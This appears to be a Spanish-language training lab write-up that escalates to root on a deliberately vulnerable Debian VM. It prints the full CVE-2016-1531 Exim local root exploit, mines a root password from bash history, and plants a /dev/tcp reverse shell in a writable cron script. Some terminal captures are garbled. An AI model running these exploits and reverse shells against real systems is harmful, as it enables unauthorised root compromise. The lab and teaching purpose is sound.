



EJERCICIO 2

ESCALA DE PRIVILEGIOS LINUX I

Para el desarrollo de los siguientes ejercicios se partirá de la base de haber conseguido explotar el sistema objetivo, en este caso la maquina Debian 6, la cual está conectada a la maquina Kali en RED NAT.

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:80:1b:c3	2	120	PCS Systemtechnik GmbH
10.0.2.16	08:00:27:15:75:ba	2	120	PCS Systemtechnik GmbH

La IP asignada a la maquina objetivo en la red, es la 10.0.2.16, así que procedemos a conectarnos mediante SSH con el user y el password aportados:

- User: user
- Password: password321

```
kali@kali ~ [Local IP: 10.0.2.12] TARGET_IP: % ssh user@10.0.2.16
Unable to negotiate with 10.0.2.16 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
kali@kali ~ [Local IP: 10.0.2.12] TARGET_IP: % ssh -o HostKeyAlgorithms=+ssh-rsa user@10.0.2.16
The authenticity of host '10.0.2.16 (10.0.2.16)' can't be established.
RSA key fingerprint is SHA256:JwwPVfqC+8LPQda0B9wFLZzXCXcoAho6s8wYGjktAnk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.2.16' (RSA) to the list of known hosts.
user@10.0.2.16: password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon May 15 20:14:39 2017 from 172.16.51.1
user@debian:~$
```

La finalidad de los ejercicios es conseguir obtener permisos de administrador a través de credenciales de usuario con mayores o menores privilegios dentro del mismo sistema.

EJERCICIO 1.- Escalada de privilegios a permisos de administrador a través del método Password Mining History:

- Este método aprovecha una vulnerabilidad provocada por malas praxis de seguridad al ingresar contraseñas directamente en la terminal.
- Se procede a realizar una búsqueda en el archivo `~/.bash_history`, encontrando un comando MySQL en el aparece el host al que se conecta (*somehost.local*), el usuario sin espacios junto a su parámetro `-u`, e igual que con la contraseña y su parámetro `-p` (`-uroot` y `-pcontraseña`). Esta es la forma menos segura de ejecutar un comando, ya que queda la contraseña de root en el historial, permitiendo con una simple búsqueda obtener una escalada de privilegios a usuario root.

```

user@debian:~$ whoami
user
user@debian:~$ cat ~/.bash_history | grep -i root
mysql -h somehost.local -u root -ppassword123 taxes,
user@debian:~$ # usuario: root y contraseña: password123
user@debian:~$ su root
Password:
root@debian:/home/user# whoami
root
root@debian:/home/user#

```

- La manera más segura de ejecutar este mismo comando para que no quede la contraseña comprometida en el archivo `~/.bash_history`, es ejecutar: `MySQL -h somehost.local -u root -p`, de esta forma la contraseña nos la pedirá el sistema después de ejecutar el comando.

EJERCICIO 2.- Escalada de privilegios a permisos de administrador a través de alguno de los binarios que podamos utilizar.

- Esta técnica consiste en aprovechar binarios (programas o ejecutables) que tienen permisos inadecuados o vulnerabilidades para obtener mayores privilegios en el sistema.
- Se comprueba los archivos bits SUID para intentar lograr escalar privilegios en el sistema;

```

user@debian:/tmp$ find / -perm -4000 -exec ls -ltr {} \; 2>/dev/null
-rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
-rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit
-rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
-rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount
-rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs

```

- Se observa que el archivo del programa Exim con versión 4.84.3, el cual es un servidor de correo electrónico utilizado para enviar, recibir y enrutar correos electrónicos en sistemas Unix y Linux. Se ejecuta la ruta que aparece con el bit SUID para comprobar cómo actúa, no dando ningún error:


```
user@debian:/tmp$ /usr/sbin/exim-4.84-3
Exim is a Mail Transfer Agent. It is normally called by Mail User Agents,
not directly from a shell command line. Options and/or arguments control
what it does when called. For a list of options, see the Exim documentation.
```

- Se procede a consultar en la web de exploit-db si existe algún exploit para esta versión de Exim, encontrando uno que permite escalada de privilegios:



- Se descarga en la maquina Linux, no necesitando compilarse al ser un archivo.sh, pero se comprueba que ha sido escrito en un sistema Windows, habiendo saltos de carro que dificultan la ejecución del exploit.

```
kali@kali ~ [Local IP: 10.0.2.12] TARGET_IP: 10.0.2.16 % cat -v /home/kali/Downloads/39535.sh
#!/bin/sh^M
# CVE-2016-1531 exim <= 4.84-3 local root exploit^M
# =====^M
# you can write files as root or force a perl module to^M
# load by manipulating the perl environment and running^M
# exim with the "perl_startup" argument -ps. ^M
# ^M
# e.g. ^M
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh ^M
# [ CVE-2016-1531 local root exploit^M
# sh-4.3# id^M
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)^M
# ^M
# -- Hacker Fantastic ^M
echo [ CVE-2016-1531 local root exploit^M
cat > /tmp/root.pm << EOF^M
package root;^M
use strict;^M
use warnings;^M
^M
system("/bin/sh");^M
EOF^M
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps^M
```

- Para quitar las terminaciones ^M se usa el programa *dos2unix*, el cual permite convertir los archivos de texto de formato Windows (CRLF) a formato Unix/Linux (LF).

```
kali@kali ~ [Local IP: 10.0.2.12] TARGET_IP: 10.0.2.16 % cat -v /home/kali/Downloads/39535.sh
#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# =====
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" argument -ps.
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
#
# -- Hacker Fantastic
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;
use warnings;
system("/bin/sh");
EOF
PERL5LIB=/tmp PERLOPT=-Mroot /usr/exim/bin/exim -ps
```

- Una vez convertido, aprovechando la conexión SSH, se envía el exploit a la maquina objetivo a través de la herramienta SCP, el cual permite copiar archivos de manera segura entre dos sistemas a través de conexiones SSH.

```
kali@kali ~ [Local IP: 10.0.2.12] TARGET_IP: 10.0.2.16 % scp -o HostKeyAlgorithms=+ssh-rsa /home/kali/Downloads/39535.sh user@10.0.2.16:/tmp
user@10.0.2.16's password:
39535.sh 100% 643 1.3MB/s 00:00
kali@kali ~ [Local IP: 10.0.2.12] TARGET_IP: 10.0.2.16 %
```

- Una vez el exploit está en la carpeta /tmp de la maquina objetivo, se ejecuta el exploit, consiguiendo la escalada de privilegios a una shell con root.

```
user@debian:/tmp$ ls
39535.sh backup.tar.gz service ssh-SoZOPw8766 useless
user@debian:/tmp$ ./39535.sh
[ CVE-2016-1531 local root exploit
sh-4.1# whoami
root
sh-4.1#
```

EJERCICIO 3.- Para esta última actividad debemos realizar la escala a superusuario a través del método CRON Path:

- Se consulta el archivo Crontab para observar que archivos se están ejecutando, observando 2 archivos interesantes: `overwrite.sh` y `compress.sh`, ambos con permisos root.

```
user@debian:/usr/local$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
***** root overwrite.sh
***** root /usr/local/bin/compress.sh
```

- Se comprueba los permisos del directorio `/usr/local`, teniendo muchos directorios con permisos bit SGID, permitiendo que cualquier archivo creado dentro estas carpetas heredarán el grupo de la carpeta origen, que en este caso es `staff`. Uno de los directorios bit SGID es `/bin`, la cual, contiene los dos archivos que se ejecutan en el Crontab.

```
user@debian:/usr/local$ ls -ltr
total 32
drwxrwsr-x 2 root staff 4096 May 12 2017 src
drwxrwsr-x 2 root staff 4096 May 12 2017 sbin
lrwxrwxrwx 1 root staff 9 May 12 2017 man -> share/man
drwxrwsr-x 2 root staff 4096 May 12 2017 include
drwxrwsr-x 2 root staff 4096 May 12 2017 games
drwxrwsr-x 2 root staff 4096 May 12 2017 etc
drwxrwsr-x 5 root staff 4096 May 14 2017 share
drwxrwsr-x 2 root staff 4096 May 14 2017 bin
drwxrwsr-x 3 root staff 4096 May 14 2017 lib
user@debian:/usr/local$ cd bin
user@debian:/usr/local/bin$ ls -ltr
total 36
-rwxr--rw- 1 root staff 40 May 13 2017 overwrite.sh
-rwxr--r-- 1 root staff 53 May 13 2017 compress.sh
-rwsr-sr-x 1 root staff 6883 May 14 2017 suid-env
-rwsr-sr-x 1 root staff 6899 May 14 2017 suid-env2
-rwsr-sr-x 1 root staff 9861 May 14 2017 suid-so
```

Se puede observar que el archivo `compress.sh` en la parte permisos de grupo no tiene de escritura, por lo que no se podrá modificar el archivo, sin embargo, el `overwrite.sh`, si los tiene, por lo que procederemos a conseguir la elevación de privilegios a través de este archivo.

- Se apertura con el editor *nano*, el archivo `overwrite.sh`. comentando el comando que contenía e incluyendo una *Reverse Shell* dirigida hacia mi maquina Kali, cerrando y guardando los cambios, abriendo con Netcat el puerto 4444 a la escucha en mi máquina Kali.

```
GNU nano 2.2.4 File: /usr/local/bin/overwrite.sh
listening on [any] 4444 ...
Go to work, get married,
#echo `date` > /tmp/usetess e kids, pay your taxes,
bash -c '/bin/bash -i >& /dev/tcp/10.0.2.12/4444 0>&1'
```

- Este archivo se ejecuta en Crontab cada minuto por lo que esperamos un tiempo, conectándose a mi Kali la shell con permisos de superusuario o root.

```
kali@kali ~ [Local IP: 10.0.2.12] TARGET_IP: 10.0.2.16 % nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.2.12] from (UNKNOWN) [10.0.2.16] 57177
bash: no job control in this shell
root@debian:~# whoami
whoami
root
root@debian:~#
```